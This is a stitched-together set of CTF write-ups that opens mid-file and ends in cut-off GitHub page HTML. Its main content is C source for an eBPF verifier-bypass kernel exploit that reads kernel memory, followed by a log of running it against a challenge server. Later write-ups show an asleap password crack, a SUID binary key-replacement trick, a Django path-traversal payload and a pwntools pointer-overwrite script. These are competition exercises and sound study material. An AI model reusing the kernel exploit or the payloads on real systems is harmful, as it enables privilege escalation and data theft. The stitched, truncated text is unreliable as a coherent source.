msg(const char *fmt, ...){ va_list args; va_start(args, fmt); fprintf(stdout, "[*] "); vfprintf(stdout, fmt, args); va_end(args);} int bpf_create_map(enum bpf_map_type map_type, unsigned int key_size, unsigned int value_size, unsigned int max_entries, unsigned int map_fd){ union bpf_attr attr = { .map_type = map_type, .key_size = key_size, .value_size = value_size, .max_entries = max_entries, .inner_map_fd = map_fd}; return syscall(__NR_BPF, BPF_MAP_CREATE, &attr, sizeof(attr));} int bpf_create_map_node(enum bpf_map_type map_type, unsigned int key_size, unsigned int value_size, unsigned int max_entries, unsigned int map_fd, unsigned int node){ union bpf_attr attr = { .map_type = map_type, .key_size = key_size, .value_size = value_size, .max_entries = max_entries, .inner_map_fd = map_fd, .numa_node = node, .map_flags = BPF_F_NUMA_NODE }; return syscall(__NR_BPF, BPF_MAP_CREATE, &attr, sizeof(attr));} int bpf_obj_get_info_by_fd(int fd, const unsigned int info_len, void *info){ union bpf_attr attr; memset(&attr, 0, sizeof(attr)); attr.info.bpf_fd = fd; attr.info.info_len = info_len; attr.info.info = ptr_to_u64(info); return syscall(__NR_BPF, BPF_OBJ_GET_INFO_BY_FD, &attr, sizeof(attr));} int bpf_lookup_elem(int fd, const void *key, void *value){ union bpf_attr attr = { .map_fd = fd, .key = ptr_to_u64(key), .value = ptr_to_u64(value), }; return syscall(__NR_BPF, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));} int bpf_update_elem(int fd, const void *key, const void *value, uint64_t flags){ union bpf_attr attr = { .map_fd = fd, .key = ptr_to_u64(key), .value = ptr_to_u64(value), .flags = flags, }; return syscall(__NR_BPF, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));} int bpf_prog_load(enum bpf_prog_type type, const struct bpf_insn *insns, int insn_cnt, const char *license){ union bpf_attr attr = { .prog_type = type, .insns = ptr_to_u64(insns), .insn_cnt = insn_cnt, .license = ptr_to_u64(license), .log_buf = ptr_to_u64(bpf_log_buf), .log_size = LOG_BUF_SIZE, .log_level = 3, }; return syscall(__NR_BPF, BPF_PROG_LOAD, &attr, sizeof(attr));} #define BPF_LD_ABS(SIZE, IMM) \ ((struct bpf_insn){ \ .code = BPF_LD | BPF_SIZE(SIZE) | BPF_ABS, \ .dst_reg = 0, \ .src_reg = 0, \ .off = 0, \ .imm = IMM}) #define BPF_MAP_GET(idx, dst) \ BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), \ BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), \ BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), \ BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), \ BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \ BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), \ BPF_EXIT_INSN(), \ BPF_LDX_MEM(BPF_DW, dst, BPF_REG_0, 0), \ BPF_MOV64_IMM(BPF_REG_0, 0) #define BPF_MAP_GET_ADDR(idx, dst) \ BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), \ BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), \ BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), \ BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), \ BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \ BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), \ BPF_EXIT_INSN(), \ BPF_MOV64_REG((dst), BPF_REG_0), \ BPF_MOV64_IMM(BPF_REG_0, 0) int load_prog(uint64_t addr){ struct bpf_insn prog[] = { BPF_LD_MAP_FD(BPF_REG_9, _mapfd[0]), BPF_MAP_GET(0, BPF_REG_7), BPF_MAP_GET_ADDR(0, BPF_REG_8), BPF_MAP_GET_ADDR(0, BPF_REG_5), BPF_LD_IMM64_RAW(BPF_REG_0, 0, addr), BPF_JMP_IMM(BPF_JLE, BPF_REG_7, 4, 25), // goto jmp1 BPF_MOV64_IMM(BPF_REG_0, 0x0), BPF_EXIT_INSN(), BPF_MOV64_REG(BPF_REG_0, BPF_REG_5), BPF_MOV64_REG(BPF_REG_7, BPF_REG_7), BPF_MOV64_REG(BPF_REG_7, BPF_REG_7), BPF_MOV64_REG(BPF_REG_7, BPF_REG_7), BPF_MOV64_REG(BPF_REG_7, BPF_REG_7), BPF_MOV64_REG(BPF_REG_7, BPF_REG_7), BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_7), // expanded instruction here // BPF_MOV32_IMM(BPF_REG_AX, aux->alu_limit), // BPF_ALU64_REG(BPF_SUB, BPF_REG_AX, BPF_REG_7), // BPF_ALU64_REG(BPF_OR, BPF_REG_AX, BPF_REG_7), // BPF_ALU64_IMM(BPF_NEG, BPF_REG_AX, 0), // BPF_ALU64_IMM(BPF_ARSH, BPF_REG_AX, 63), // BPF_ALU64_REG(BPF_AND, BPF_REG_AX, BPF_REG_7), // BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_AX), // BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0x0), BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_6, 0x0), BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0x8), BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_6, 0x8), BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0xc), BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_6, 0xc), BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0x10), BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_6, 0x10), BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0x18), BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_6, 0x18), BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0x20), BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_6, 0x20), BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0x28), BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_6, 0x28), BPF_MOV64_IMM(BPF_REG_0, 0x0), BPF_EXIT_INSN(), BPF_JMP_IMM(BPF_JLE, BPF_REG_7, 4, -24), // jmp1: goto jmp2 BPF_MOV64_IMM(BPF_REG_0, 0), BPF_EXIT_INSN(), }; return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog) / sizeof(struct bpf_insn), "GPL");} int write_msg(int fd){ ssize_t n = write(fd, buffer, sizeof(buffer)); if (n < 0) { perror("write"); return 1; } if (n != sizeof(buffer)) { fprintf(stderr, "short write: %ld\n", n); } return 0;} void update_elem(int key, size_t val){ if (bpf_update_elem(mapfd, &key, &val, 0)) { fail("bpf_update_elem failed '%s'\n", strerror(errno)); }} size_t get_elem(int fd, int key){ size_t val; if (bpf_lookup_elem(fd, &key, &val)) { fail("bpf_lookup_elem failed '%s'\n", strerror(errno)); } return val;} int main(int argc,char** argv){ _mapfd[0] = bpf_create_map(BPF_MAP_TYPE_ARRAY,4,0x40,0x10,0); _mapfd[1] = bpf_create_map(BPF_MAP_TYPE_ARRAY,4,0x40,0x10,0); uint64_t result=0; int key; char buf[0x80] = {0}; uint64_t addr = strtoul(argv[1], NULL, 16); int progfd = load_prog(addr); if (progfd < 0) { if (errno == EACCES) { msg("log:\n%s", bpf_log_buf); } printf("%s\n", bpf_log_buf); fail("failed to load prog '%s'\n", strerror(errno)); } printf("loaded\n"); if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) { fail("failed to create socket pair '%s'\n", strerror(errno)); } if (setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) { fail("setsockopt '%s'\n", strerror(errno)); } write_msg(sockets[0]); printf("Done\n"); key = 0; bpf_lookup_elem(_mapfd[0], &key, &buf;; printf("res: %s\n", buf);}```Run to remote server using script, and get the flag.```bash➜ bpf_badjmp git:(master) ✗ ./build.sh➜ bpf_badjmp git:(master) ✗ python3 send.py[+] Opening connection to bpf-badjmp.chal.uiuc.tf on port 1337: Done[*] touch /tmp/a.gz.b64[*] Sending chunk 0/35[*] Sending chunk 1/35[*] Sending chunk 2/35[*] Sending chunk 3/35[*] Sending chunk 4/35[*] Sending chunk 5/35[*] Sending chunk 6/35[*] Sending chunk 7/35[*] Sending chunk 8/35[*] Sending chunk 9/35[*] Sending chunk 10/35[*] Sending chunk 11/35[*] Sending chunk 12/35[*] Sending chunk 13/35[*] Sending chunk 14/35[*] Sending chunk 15/35[*] Sending chunk 16/35[*] Sending chunk 17/35[*] Sending chunk 18/35[*] Sending chunk 19/35[*] Sending chunk 20/35[*] Sending chunk 21/35[*] Sending chunk 22/35[*] Sending chunk 23/35[*] Sending chunk 24/35[*] Sending chunk 25/35[*] Sending chunk 26/35[*] Sending chunk 27/35[*] Sending chunk 28/35[*] Sending chunk 29/35[*] Sending chunk 30/35[*] Sending chunk 31/35[*] Sending chunk 32/35[*] Sending chunk 33/35[*] Sending chunk 34/35[*] Sending chunk 35/35[*] cat /tmp/a.gz.b64 | base64 -d > /tmp/a.gz[*] gzip -d /tmp/a.gz[*] chmod +x /tmp/a[*] mv /tmp/a /tmp/exploit[*] /tmp/exploit $(cat /proc/kallsyms | grep uiuctf | awk '{print $1}')Flag: uiuctf{just_a_bpf_of_fun_0468dae3}[*] Closed connection to bpf-badjmp.chal.uiuc.tf port 1337```
From reading the description, I know this is the **Evil Twin Attack Against WPA2-EAP (PEAP)** **Username** `PrinceAli`, **challenge** `c3:ae:5e:f9:dc:0e:22:fb` and **response** `6c:52:1e:52:72:cc:7a:cb:0e:99:5e:4e:1c:3f:ab:d0:bc:39:54:8e:b0:21:e4:d0` are given and we have to recover the *password*. Searching *google* for more information, I come across this really useful article [Attacking And Gaining Entry To WPA2-EAP Wireless Networks](https://solstice.sh/ii-attacking-and-gaining-entry-to-wpa2-eap-wireless-networks/) In that article, it shows we can use [asleap](https://tools.kali.org/wireless-attacks/asleap) to recover the password. Now, let's try that *tool*```sh$ asleap -C c3:ae:5e:f9:dc:0e:22:fb -R 6c:52:1e:52:72:cc:7a:cb:0e:99:5e:4e:1c:3f:ab:d0:bc:39:54:8e:b0:21:e4:d0 -W rockyou.txtasleap 2.2 - actively recover LEAP/PPTP passwords. <[email protected]>Using wordlist mode with "rockyou.txt". hash bytes: 8799 NT hash: 1cb292fbd610e825d02492ec8d8c8799 password: rainbow6``` And, we recover the password! *flag*: `ractf{rainbow6}`
# Really Awesome CTF - Reversing/Pwn - Break that Binary! ## SSH in to trick a SUID binary to read the flag and leak it. We found this weird server open on the web running this program. We think we can break it somehow; can you take a look? ## A note on this writeup. Pretty sure I solved this in an unintended way. ## Triage After SSHing we can have a quick look at the files present on the server.```drwxr-xr-x 2 ractf 1000 52 2021-08-13 16:55 .drwxr-xr-x 3 root 0 19 2021-08-13 16:55 ..-rwx------ 1 root 0 34 2021-08-13 16:53 flag.txt-rwx------ 1 root 0 16 2021-08-13 16:55 keyfile-rwsr-xr-x 1 root 0 255840 2021-08-13 16:55 program``` As you can see, the program will have access to both flag.txt and the keyfile. Additionaly, when running the program we receive what is some kind of encrypted output. ```$ ./programc0fbd3cc56273250d4b93d74e86d3598e1f970d129b2ce0a1806cb62c1a63782b6344c5c8360f3d4465f2b2370f72da1$ ``` Here is a commented decompilation of the program source code. ```undefined8 main(void) //main does not use any arguments, meaning it is ignoring the command line { int iVar1; FILE *file_help; size_t flag_length; char *big_buffer; long q; long i; ulong j; byte *pbVar2; byte *pbVar3; ulong padded_length; long in_FS_OFFSET; byte bVar4; timeval time_rand; undefined ctx [192]; byte secret_key [16]; byte key [16]; undefined iv [16]; byte flag [64]; long local_40; char *end_of_flag; bVar4 = 0; local_40 = *(long *)(in_FS_OFFSET + 0x28); file_help = fopen("flag.txt","r"); fgets((char *)flag,0x40,file_help); fclose(file_help); file_help = fopen("keyfile","r"); fread(secret_key,0x10,1,file_help); fclose(file_help); //we've now loaded both flag.txt and the keyfile into their corresponding buffers flag_length = strlen((char *)flag); big_buffer = (char *)default_malloc(0x100000); //we malloc a really big buffer to hold the flag. I believe this to be the source of the intended solve. padded_length = (flag_length - 1 | 0xf) + 1; //Just computes the length of the flag when padded to 16 byte alignment for AES if (big_buffer != NULL) { strcpy(big_buffer,(char *)flag); gettimeofday(&time_rand,NULL); srand((int)time_rand.tv_sec * 1000000 + (int)time_rand.tv_usec); //Seed our random number generator with MICROSECONDS //There are 1 million microseconds per second. This can be brute forced. //Watch the variables, we are going to use the key from keyfile XORed with random bytes as the AES key as well as a random byte string as the IV. q = 0; do { iVar1 = rand(); i = q + 1; key[q] = (byte)(iVar1 % 0x100) ^ secret_key[q]; q = i; //This simply generates 16 random bytes and XORs them with each byte in the key from the keyfile for our AES key. } while (i != 0x10); q = 0; do { iVar1 = rand(); iv[q] = (char)(iVar1 % 0x100); q += 1; //This generates our random IV } while (q != 0x10); flag_length = strlen((char *)flag); q = padded_length - flag_length; if (padded_length < flag_length) { q = 0; } end_of_flag = big_buffer + flag_length; for (; q != 0; q += -1) { *end_of_flag = '\0'; end_of_flag = end_of_flag + (ulong)bVar4 * -2 + 1; } //This just pads our flag AES_init_ctx_iv(ctx,key,iv); AES_CBC_encrypt_buffer(ctx,big_buffer,padded_length); //The actual encryption if ((((flag < big_buffer) && (big_buffer < flag + padded_length)) || ((big_buffer < flag && (flag < big_buffer + padded_length)))) || (j = padded_length, pbVar2 = (byte *)big_buffer, pbVar3 = flag, 0x40 < padded_length)) { do { invalidInstructionException(); } while( true ); } for (; j != 0; j = j - 1) { *pbVar3 = *pbVar2; pbVar2 = pbVar2 + (ulong)bVar4 * -2 + 1; pbVar3 = pbVar3 + (ulong)bVar4 * -2 + 1; } //This is all an abomination that verifies the encryption succeeded as far as I can tell. } free(big_buffer); for (j = 0; j < padded_length; j += 1) { printf("%02x",(ulong)flag[j]); //Prints out the resulting encrypted stream } putchar(10); if (local_40 == *(long *)(in_FS_OFFSET + 0x28)) { return 0; } /* WARNING: Subroutine does not return */ __stack_chk_fail();}``` ### Attack So, we can trivially brute force the microseconds used to generate the random numbers. However, unless we know the contents of keyfile that is useless. Luckily, its also trivial to determine the contents of keyfile. This is because we can move the keyfile to a different location and *create our own keyfile with contents we choose*. ```$ mv keyfile keyfile_old$ echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAA" > keyfile$ ls -latotal 264drwxr-xr-x 1 ractf 1000 40 2021-08-16 17:43 .drwxr-xr-x 1 root 0 19 2021-08-13 16:55 ..-rwx------ 1 root 0 34 2021-08-13 16:53 flag.txt-rw-r--r-- 1 ractf 1000 30 2021-08-16 17:43 keyfile-rwx------ 1 root 0 16 2021-08-13 16:55 keyfile_old-rwsr-xr-x 1 root 0 255840 2021-08-13 16:55 program``` We now know the contents of keyfile, and can run the program binary to generate an encrypted keystream with our keyfile. However, we also want to be able to easily brute force the random seed. We can speed this up by determing a lower and upper bound for the team. This is done by running the command `date +%s%6N` to print the time in microseconds before and after we run the program. ```$ date +%s%6N; ./program; date +%s%6N16291359615037590dad76c19a51427bf53a160ec6dc7a9a75cdfcba651cb94d0b5cb6b89cf8b23487739216f37da8a93b5b8b5fb9c3e5f31629135961505135``` We now have everything we need to crack the flag! ## The script Because I wanted the random numbers and the encryption to be as close to the target as possible, I copied as much as possible from Ghidra into a C++ program. Additionally, I used TinyAES for the AES encryption since the target program did as well. ```#include <stdio.h>#include <string.h>#include <stdint.h>//#include <stdlib.h>#include <iostream>#define CBC 1 #include "aes.h" static void test_encrypt_cbc(void); using namespace std;unsigned long seed =0;int rand(void) { seed = seed * 0x5851f42d4c957f2d + 1; //cout << seed << endl; return (int)(seed >> 0x21);}void srand(uint s) { seed = (ulong)(s - 1); //cout << seed << endl; return;}bool test_decrypt(unsigned long seed){ //Ciphertext value based on the program output unsigned char ciphertext[] = "\x0d\xad\x76\xc1\x9a\x51\x42\x7b\xf5\x3a\x16\x0e\xc6\xdc\x7a\x9a\x75\xcd\xfc\xba\x65\x1c\xb9\x4d\x0b\x5c\xb6\xb8\x9c\xf8\xb2\x34\x87\x73\x92\x16\xf3\x7d\xa8\xa9\x3b\x5b\x8b\x5f\xb9\xc3\xe5\xf3"; int ciphertext_length = 48; unsigned char key[] = "AAAAAAAAAAAAAAAA"; unsigned char iv[16]; srand(seed); for(int q=0; q<0x10; q++){ int iVar1 = rand(); key[q] = (char)(iVar1 % 0x100) ^ key[q]; //cout << hex << iVar1 << dec << endl; } for(int q=0; q<0x10; q++){ int iVar1 = rand(); iv[q] = (char)(iVar1 % 0x100); } int flag_length = ciphertext_length; struct AES_ctx ctx; for(int q=0; q<0x10; q++){ cout << hex << (int) key[q]; } cout << endl; for(int q=0; q<0x10; q++){ cout << hex << (int) iv[q]; } cout << endl; cout << key << endl; AES_init_ctx_iv(&ctx,key,iv); AES_CBC_decrypt_buffer(&ctx,ciphertext,flag_length); for(int i=0; i<ciphertext_length-4; i++){ char * flag = (char *) ciphertext; if (flag[i+0] == 'c' && flag[i+1] == 't' && flag[i+2] == 'f'){ cout << flag << endl; } } //cout << ciphertext << endl; return true;}int main(void){ int exit=0; //Start and end based on the date calls in bash unsigned long start = 1629135961503759; unsigned long end = 1629135961505135; for(unsigned long time = start; time < end; time++){ test_decrypt(time); } return exit;}``` When running this, it will output every possible combination decrypted. This generates a *lot* of noise. Roughly 1000+ lines of garbage. As an example, ```20bbd96cc9bad55c78250181a4e31c1014d3186f5bdc7788a1173168fcc <BB><D9>lɺ<D5>\^G<82>P^X^A<A4><E3>^\39a15de341237ccea3fc38f78669de122d13c34d1ad427fd558a31b9468e9^U<DE>4^R7^LΣ<FC>8<F7><86>icfdd4e5023ea183d964328d86debef7bb13046240a628ccd773814ef5cfc50<CF><DD>NP#<EA>^X=<96>C(<D8>m<EB><EF>{e4ac8ac2e427aed5e6054fbe3cc7569823e7f363dfe37c487e8bb9dadfeb312䬊<C2>^NBz<ED>^`T<FB><E3><CC>uifd7fc7b47d1a5c9a291809b5931fb56534cb8477a5746bc375d6f276ba16ad4<FD>^?Ǵ}^Z\<9A>)^A<80><9B>Y1<FB>V93ce3276bf2414af1212cbbcf12144235af259b7af54b3e7d322b029432096<93><CE>^C'k<F2>AJ<F1>!,<BB><CF>^R^ADa8a1bc99564aa37ab93e585b457487b2f4672b6bf3863ab9748d53ae7e6d758<A8><A1><BC><99>VJ<A3>z<B9>>X[Et<87><B2>``` However, we can make use of grep to narrow in on the output containing "ractf". ```bee@blackandyellow:~/hackinghobby/ractf$ ./break_that | grep ractf -n102125-16bc682d98abec1a6b553fc887f4de52126-7b93275444276215a72621b92d24aca2128-2cfa49f873d1316e52ff9c7e60d3d22129-4ba13b87819b8519ae715a5507518c2131-c5dee111f2db33de39722bbcf44559c02132-1caf7598bef39311ba5dc92ee17b74e2134:ractf{Curb_Y0ur_M3mOry_Alloc4t10n}2135-dab11d80e0b3158e8113575c6aa6df2e2136-edbdaeaafb4ca296ad27cb8ccba6e10grep: (standard input): binary file matches``` _Memory allocation? What could that be for, this is a crypto and SSH chall not heap pwn!_ #### After credits scene ```Guy who can't do heap pwn: Was it intended that you could replace the keyfile file?``` ```RACTF staff desperately trying to get people to do heap pwn: Huh. No… But how does that help It gets XORed with random anyway``` #### Intended solve? Huge shoutout to "Babaisflag" for telling me this. You could use ulimit to shrink the maximim allocated memory. By doing this, the malloc call would return 0. This means the encryption is bypassed entirely and the encrypted flag is simply printed with hex encoding. ```$ ulimit -Sv 1000000 && ./program72616374667b437572625f593075725f4d336d4f72795f416c6c6f63347431306e7d0000000000000000000000000000```
# Changing our locks and dumping old keys #### Category : mission, reverse#### Points : 100 (56 solves) ## ChallengeThere should be something in the server that was used to maintain persistence. Can you track this one and find more information about the attacker? Flag format: flag{string} ## SolutionThis is continuation of `Locked outside` so I assume if you have access to the machine. It says to find more information about what was used to maintain persistence. The `home` directory was empty so I went into the `root` directory and there were the following files. ![](https://github.com/p1xxxel/ctf-writeups/blob/main/2021/RCTS%20CERT%202021/Changing%20our%20locks%20and%20dumping%20old%20keys/root_dir.png) `.ash_history` is useless as it is a symlink to `/dev/null` but `.viminfo` is 11k size. Reading `.viminfo`, we find the flag in the first few lines. ![](https://github.com/p1xxxel/ctf-writeups/blob/main/2021/RCTS%20CERT%202021/Changing%20our%20locks%20and%20dumping%20old%20keys/finding_flag.png)
Solution: extract all UDP packets to text file using Wireshark after triggering a flag Detailed writeup at https://spicy-walnut-eb5.notion.site/RSFPWS-Intercepted-9d11d37e62d64259ba12e1b618761088
[Link to original writeup](https://github.com/babaiserror/ctf/tree/main/%5B210813-16%5D%20ReallyAwesomeCTF%202021#emojibook-web-350-pts) This was intended to be a django lfi challenge, but due to a mistake in the setting of the dockerfile, it became a challenge of exploiting the filter. After registering and logging into the website, you can create notes, which has a title and a body. From the source file given, in `notes/views.py`, there is this snippet: ```pydef view_note(request: HttpRequest, pk: int) -> HttpResponse: note = get_object_or_404(Note, pk=pk) text = note.body for include in re.findall("({{.*?}})", text): print(include) file_name = os.path.join("emoji", re.sub("[{}]", "", include)) with open(file_name, "rb") as file: text = text.replace(include, f"") return render(request, "note.html", {"note": note, "text": text})``` This looks for notes with body that has something in the form of `"{{" + "<some string> + "}}"`, then removes all the brackets, then uses that to construct a filename with `os.path.join`, in the form of "emoji" + "your path". It opens and reads this file, encodes the data with base64, and puts it in an image tag. Also from the source, in `notes/forms.py`, there is this: ```pydef save(self, commit=True): instance = super(NoteCreateForm, self).save(commit=False) instance.author = self.user instance.body = instance.body.replace("{{", "").replace("}}", "").replace("..", "") with open("emoji.json") as emoji_file: emojis = json.load(emoji_file) for emoji in re.findall("(:[a-z_]*?:)", instance.body): instance.body = instance.body.replace(emoji, "{{" + emojis[emoji.replace(":", "")] + ".png}}")``` When saving the note, this removes all `"{{"`, `"}}"`, and `".."` in the body. We know from the description that the flag is in the path `/flag.txt`; also, `os.path.join` has a property where if an argument has an absolute path, it will discard all the previous arguments. Using all these, putting `{..{/flag.txt}..}` in the body gives us the flag.
[link to original writeup](https://github.com/babaiserror/ctf/blob/main/%5B210813-16%5D%20ReallyAwesomeCTF%202021/README.md#Absolute-Dice-PwnReversing-300-pts) A very rough pseudocode:```int inp_array[33];int i = 0while(i < 100): i += 1 fread(&seed, 4, 1, fopen("/dev/urandom", "r")) srand(seed) inp = input("Enter your guess> ") ad_roll = rand() % 21 inp_array[i % 33] = inp /* code checking if input is correct 31 consecutive times */```I also noticed that the program always segfaults on the 32nd or 33rd input. That's strange. Let's put it through `gdb`; it crashes when it tries to call `fread` on file descriptor `0`, which means `fopen` returned `NULL`. And `fopen` seems to have tried to read from address that I had input previously. Looking into it a little more: - `ebp-0x10` stores the address of string `/dev/urandom`.- The `inp_array` stores its value from `ebp-0x90` to `ebp-0x10`.- The first value will be stored at `inp_array[1]`, not at index `0`. So the 32nd input will write at `ebp-0x10`, where it used to have the address of `'/dev/urandom'`, replacing it with out input. 4-bytes from `/dev/urandom` are used as the seed to `srand` every loop, so if we can overwrite it with an existing file that is not random, we can seed random with the same value everytime. For this, I chose `'flag.txt'` within the file, which is at `0x8048bb9`. Luckily, the binary has no PIE. At this point, it's trivial; on the 32nd input, we give `134515641` (the decimal value for `0x8048bb9`), and figure out what "random" value it produces (it produced 11); then, rerun the program, give the same 32nd input, and repeat that "random" value 31 times. As a side note, unlike the output which seems like it requires 50 consecutive correct inputs, the actual code only checks the input 31 times.```pyimport pwn io = pwn.remote('193.57.159.27', 35383)FLAG_ADDR = b'134515641'for _ in range(31): io.sendline(b'1')io.sendline(FLAG_ADDR)io.recvline()for _ in range(31): io.sendline(b'11')io.interactive()``````$ python3 dice.py[+] Opening connection to 193.57.159.27 on port 35383: Done[*] Switching to interactive mode Enter your guess> Absolute Dice scores a hit on you! (She had 7, you said 1)Enter your guess> Absolute Dice scores a hit on you! (She had 17, you said 1)...Enter your guess> Absolute Dice scores a hit on you! (She had 9, you said 1)Enter your guess> Absolute Dice scores a hit on you! (She had 15, you said 134515641)Enter your guess> Absolute Dice shrieks as your needle strikes a critical hit. (1/50)Enter your guess> Absolute Dice shrieks as your needle strikes a critical hit. (2/50)...Enter your guess> Absolute Dice shrieks as your needle strikes a critical hit. (31/50)Absolute Dice shrieks as you take her down with a final hit.ractf{Abs0lute_C0pe--Ju5t_T00_g00d_4t_th1S_g4me!}```
UIUCTF 2021 - Wasmbaby (Beginner) Writeup Type - Web Name - Wasmbaby Points - 50 Description wasm's a cool new technology! http://wasmbaby.chal.uiuc.tf author: ian5v Writeup:"wasm" stand for "WebAssembly". Wasm is a programming lanaguage is to run many programming language in website. It can be convert to WebAssembly in your javascript. Wasm file finding:In this case, In "index.js" we can see "index.wasm".So go to url like this ("http://wasmbaby.chal.uiuc.tf/index.wasm"). Solution:YOu will get binary file. So we can used "strings" in linux to find what was going on.And We got our flag. Flag: uiuctf{welcome_to_wasm_e3c3bdd1} Video writeup: https://youtu.be/QbCv5gd2nFc
## Projan ***I found malware in my system. It was trying to steal my DogeCoins! Can you find the name of this malware? (.pcap file included)*** pcap file (696,787 bytes) has following protocol hierarchy Projan1.img ![](https://i.ibb.co/qyCh5P5/projanprotocols.png) after few minutes of browsing http streams I have found that user downloaded a suspicious file named ```goog1e_born.exe``` ![](https://i.ibb.co/3mRk55B/projan2.png) I have found a checksum on web and uploaded it to virus total, maybe it is not a common way of founding malware name but I have tried one of tags in the community sections. ![](https://i.ibb.co/16YHcFL/projan3.png) flag is SBCTF{ponmocup}
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" integrity="sha512-L06pZD/4Yecj8D8pY5aYfA7oKG6CI8/hlx2K9ZlXOS/j5TnYEjrusaVa9ZIb9O3/tBHmnRFLzaC1ixcafWtaAg==" rel="stylesheet" href="https://github.githubassets.com/assets/light-2f4ea9643ff861e723f03f296396987c.css" /><link crossorigin="anonymous" media="all" integrity="sha512-xcx3R1NmKjgOAE2DsCHYbus068pwqr4i3Xaa1osduISrxqYFi3zIaBLqjzt5FM9VSHqFN7mneFXK73Z9a2QRJg==" rel="stylesheet" href="https://github.githubassets.com/assets/dark-c5cc774753662a380e004d83b021d86e.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" integrity="sha512-xlDV9el7Cjd+KTSbwspx+c8its28uxn++hLZ9pqYYo1zOVcpLPlElTo42iA/8gV3xYfLvgqRZ3dQPxHCu4UaOQ==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-c650d5f5e97b0a377e29349bc2ca71f9.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" integrity="sha512-jkzjbgytRSAyC4EMcrdpez+aJ2CROSpfemvgO2TImxO6XgWWHNG2qSr2htlD1SL78zfuPXb+iXaVTS5jocG0DA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-8e4ce36e0cad4520320b810c72b7697b.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" integrity="sha512-FzS8HhJ7XSHmx/dBll4FYlvu+8eivvb7jnttZy9KM5plsMkgbEghYKJszrFFauqQvv7ezYdbk7v/d8UtdjG9rw==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-1734bc1e127b5d21e6c7f741965e0562.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" integrity="sha512-IpkvxndMpMcO4paMJl83lYTcy18jv2jqG7mHZnTfr9HRV09iMhuQ/HrE+4mQO2nshL7ZLejO1OiVNDQkyVFOCA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-22992fc6774ca4c70ee2968c265f3795.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-4hzfg/znP4UxIOUt/r3SNYEZ6jBPJIS6PH4VC26tE0Nd4xAymMC3KXDaC9YITfG4fhyfxuB1YnDHo1H2iUwsfg==" rel="stylesheet" href="https://github.githubassets.com/assets/frameworks-e21cdf83fce73f853120e52dfebdd235.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-sT0AyFLl78shyaRWRXOw8uwRSnR+7tURIXoJwVYadATkrqeWfze5y/tOu8MS1mbzUKl6pgLjfEdT+U8bwBJHfQ==" rel="stylesheet" href="https://github.githubassets.com/assets/behaviors-b13d00c852e5efcb21c9a4564573b0f2.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-jdtbQr5ZSKZqID/c80i87Ml+YyEhYVd5sF9szeR+Xuvbfhi4yLJbEsSllzk0XRzcbWqD4tDtshhRo5IuJx4Mzw==" rel="stylesheet" href="https://github.githubassets.com/assets/github-8ddb5b42be5948a66a203fdcf348bcec.css" /> <script crossorigin="anonymous" defer="defer" integrity="sha512-/0zs/So9AxtDONKx324yW8s62PoPMx4Epxmk1aJmMgIYIKUkQg4YqlZQ06B4j0tSXQcUB8/zWiIkhLtVEozU/w==" type="application/javascript" src="https://github.githubassets.com/assets/environment-ff4cecfd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-8p4kkx6e3xBq1g3NP0O3/AW/aiTQ+VRxYencIeMD8crx7AEwrOTV+XOL/UE8cw4vEvkoU/zzLEZ9cud0jFfI4w==" type="application/javascript" 